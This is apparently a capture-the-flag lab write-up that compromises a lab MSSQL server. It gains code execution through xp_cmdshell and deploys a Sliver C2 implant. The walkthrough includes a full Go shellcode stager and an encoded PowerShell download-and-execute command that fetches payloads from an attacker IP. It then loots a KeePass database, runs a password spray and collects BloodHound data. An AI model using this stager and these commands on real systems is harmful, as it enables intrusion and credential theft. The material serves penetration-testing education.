> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/sql.md). # SQL {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Entry Point {% hint style="warning" %} Continue here if you were able to gain access as sql\_svc on WEB.EXT.DARKHAVEN.LOCAL. {% endhint %} Reference: {% embed url="" %} ## Recon We use `rustscan -b 500 -a sql.ext.darkhaven.local --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" %} ``` rustscan -b 500 -a sql.ext.darkhaven.local --top -- -sC -sV -Pn ``` {% endcode %}

As expected with SQL Server, we have an MSSQL service running on port `1433`.

Remote access is also available via RDP `3389` and WinRM `5985`.

## MSSQL For your reference, we can use the following cheat sheet. First, we want to connect to the MSSQL service, and we'll use the credentials for `sql_svc` to do so. {% embed url="" %} We use impackets' mssqlclient. We can connect. {% code overflow="wrap" %} ``` mssqlclient.py darkhaven.local/sql_svc:'REDACTED'@sql.ext.darkhaven.local ``` {% endcode %}

We're performing basic enumeration, but we haven't found anything unusual in the databases. {% code overflow="wrap" %} ``` SELECT name FROM sys.databases; ``` {% endcode %}

We see that we are `sysadmin`. {% code overflow="wrap" %} ``` # Check if current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); ``` {% endcode %}

And we are able to use `xp_cmdshell`, which allows us to execute code. We perform command execution as `NT AUTHORITY SYSTEM`. {% code overflow="wrap" expandable="true" %} ``` # Execute command EXEC xp_cmdshell 'whoami'; ``` {% endcode %}

### Shell as NT AUTHORITY SYSTEM Since we have code execution via `xp_cmdshell`, we want to extend this to an interactive shell. To do this, we're now bringing out the big guns and retrieving knowledge from Staged. Specifically, we want to leverage Sliver. {% embed url="" %} #### Startup Sliver Server We run the sliver server. {% code overflow="wrap" %} ``` sliver-server ``` {% endcode %}

#### Prepare a cusom stager First we need to prepare the stager. The stager fetches raw shellcode from a chosen url and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling. It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations. The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode. {% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %} ```go // +build windows package main import ( "io" "net/http" "syscall" "unsafe" ) var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") procVirtualAlloc = kernel32.NewProc("VirtualAlloc") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func downloadShellcode(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return nil, err } defer resp.Body.Close() return io.ReadAll(resp.Body) } func executeShellcode(shellcode []byte) { addr, _, err := procVirtualAlloc.Call( 0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, ) if addr == 0 { panic(err) } // Copy shellcode into allocated memory for i := 0; i < len(shellcode); i++ { *(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i] } // Execute shellcode syscall.Syscall(addr, 0, 0, 0, 0) } func main() { url := "http://192.168.211.2/shellc.bin" shellcode, err := downloadShellcode(url) if err != nil { panic(err) } executeShellcode(shellcode) } ``` {% endcode %} We compile the stager as follows on our exegol instance: {% code overflow="wrap" %} ``` GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -o stager.exe stager.go ``` {% endcode %}

#### Generate shell code {% hint style="info" %} During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM: {% endhint %} Next, we need to generate the shell code. We do this as follows: {% code overflow="wrap" %} ``` generate --mtls 192.168.211.2:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/darkhaven-technologies/shellc.bin ``` {% endcode %}

#### Setup listener We set up the listener. {% code overflow="wrap" %} ``` mtls --lhost 192.168.211.2 --lport 443 ``` {% endcode %}

#### Run web server And run a web server from which the stager and the shellcode can be fetched. {% code overflow="wrap" %} ``` python3 -m http.server 80 ``` {% endcode %}

#### Download and execute stager As before, we prepare the payload for downloading and executing the stager. We encode this payload so that we don't encounter any problems with the web shell during execution with regard to special characters, etc. {% code overflow="wrap" %} ``` printf '%s' 'IWR http://192.168.211.2/stager.exe -OutFile $env:TEMP\stager.exe; Start-Process $env:TEMP\stager.exe' \ | iconv -f UTF-8 -t UTF-16LE \ | base64 -w 0 ``` {% endcode %}

We'll receive the following base64 encoded command. {% code overflow="wrap" %} ``` SQBXAFIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyADEAMQAuADIALwBzAHQAYQBnAGUAcgAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlAA== ``` {% endcode %} With the web server prepared, we execute the payload. {% code overflow="wrap" %} ``` EXEC xp_cmdshell 'powershell.exe -e SQBXAFIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyADEAMQAuADIALwBzAHQAYQBnAGUAcgAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQAYQBnAGUAcgAuAGUAeABlAA=='; ``` {% endcode %}

We see that the stager and the shellcode gets downloaded...

... and executed. We receive a session in SliverC2. {% code overflow="wrap" %} ``` sessions ``` {% endcode %} {% code overflow="wrap" %} ``` sessions -i 7f6d625f ``` {% endcode %}

Without spawning a shell we can retrieve the current user and the privileges. Furthermore we are able to retrieve the first flag from the SQL server at `C:\Users\Administrator\Desktop\root.txt`.

## Post Compromise ### Exfiltration of Files We see two users on the system: `yager` and `sql_svc_int`. {% code overflow="wrap" %} ``` ls "C:\Users" ``` {% endcode %}

While listing the user directories, we notice that a KeePass installer is located in the admin directory structure. {% code overflow="wrap" %} ``` execute -o cmd /c tree /f "C:\Users" ``` {% endcode %}

{% code overflow="wrap" %} ``` KeePass-2.45-Setup.exe ``` {% endcode %} However, we were unable to locate the key database, and even a manual check did not yield any results. {% code overflow="wrap" %} ``` execute -o cmd /c dir C:\Users\*.kdb* /s /b ``` {% endcode %}

We dig through the system and find the `stored_passwords` folder in the root directory. Here we find an `it_passwords.kdbx` file and a README. We download both. {% code overflow="wrap" %} ``` ls "C:" ``` {% endcode %}

Here we find an it\_passwords.kdbx file and a README. We download both. {% code overflow="wrap" %} ``` ls "C:\stored_passwords" ``` {% endcode %} {% code overflow="wrap" %} ``` download "C:\stored_passwords\it_passwords.kdbx" ``` {% endcode %} {% code overflow="wrap" %} ``` download "C:\stored_passwords\README.txt" ``` {% endcode %}

In the README file, we find the master password for the KeePass file.

We unlock the database and find a lot of credentials.

We create a list of usernames and passwords, with each row corresponding to an entry in KeePass, so that we can perform a password spray using NetExec later on. Based on the password policy, we know that accounts will not be locked immediately after the first incorrect login attempt.

We run a simple password spray using NetExec and got some hits, including for the users svc\_backup and showard. {% code overflow="wrap" %} ``` nxc smb web.ext.darkhave.local -u users.txt -p passwords --no-bruteforce --continue-on-success ``` {% endcode %}

{% hint style="warning" %} From here, we can proceed to SHARE.EXT.DARKHAVEN.LOCAL. The following activities demonstrate further enumeration after compromising the host. The insights gained here are also relevant. {% endhint %} {% embed url="" %} ### SharpHound / BloodHound Enumeration Since we are NT AUTHORITY SYSTEM and the computer appears to be connected to a domain, we will now attempt to enumerate it. We upload the latest version of SharpHound.exe from the BloodHound CE project. {% code overflow="wrap" %} ``` upload SharpHound.exe C:\Windows\Temp\SharpHound.exe ``` {% endcode %}

Unfortunately, I haven't found a way to run this outside of a shell, so we'll spawn a shell here. {% code overflow="wrap" %} ``` shell ``` {% endcode %}

Now we are able to run SharpHound.exe and collect the data. {% code overflow="wrap" %} ``` ./SharpHound.exe -c All ``` {% endcode %}

We deatach our shell session with `CTRL+D`. {% code overflow="wrap" %} ``` CTRL+D ``` {% endcode %} And download the BloodHound loot as follows. {% code overflow="wrap" %} ``` download 'C:\Windows\Temp\20260311212349_BloodHound.zip' ``` {% endcode %}

We can see that the svc\_backup user can enroll in several certificate templates, including a GenericAll template for the domain controller certificate. Technically speaking, this would allow an ESC4. {% embed url="" %} ESC4 is when a user has write/control permissions over a certificate template, allowing them to modify it, enabling client authentication and allowing arbitrary subject names. By reconfiguring the template this way, they turn it into an ESC1 scenario, where they can request a certificate impersonating a high-privilege account.

However, we also note that this applies to all users in the group authenticated users.

It turns out this quick win isn't feasible. If anyone manages to pull it off, please let me know. In testing, I was not able to exploit this using Certify.exe locally on the CA and via Certipy. It seems to have been patched in a sloppy way; RPC calls are not allowed. Well, something you could face in an engagemnet and fall for.

We'll look at the shortest path. It is interesting to note that the `ca_svc_accounts$` account has an `AllowedToAct` permission on the `CA.EXT.DARKHAVEN.LOCAL` machine, which in turn has a `CoerceToTGT` permission on the `EXT.DARKHAVEN.LOCAL` domain. This allows us to chain resource-based constrained delegation with coercion to force authentication from the domain controller, relay it, and obtain a TGT on its behalf. This would enable a full domain compromise by impersonating the DC account and leveraging it for privileged access.

Furthermore, we see another path, the ldap\_svc account is a domain admin, maybe we are able compromise this account later...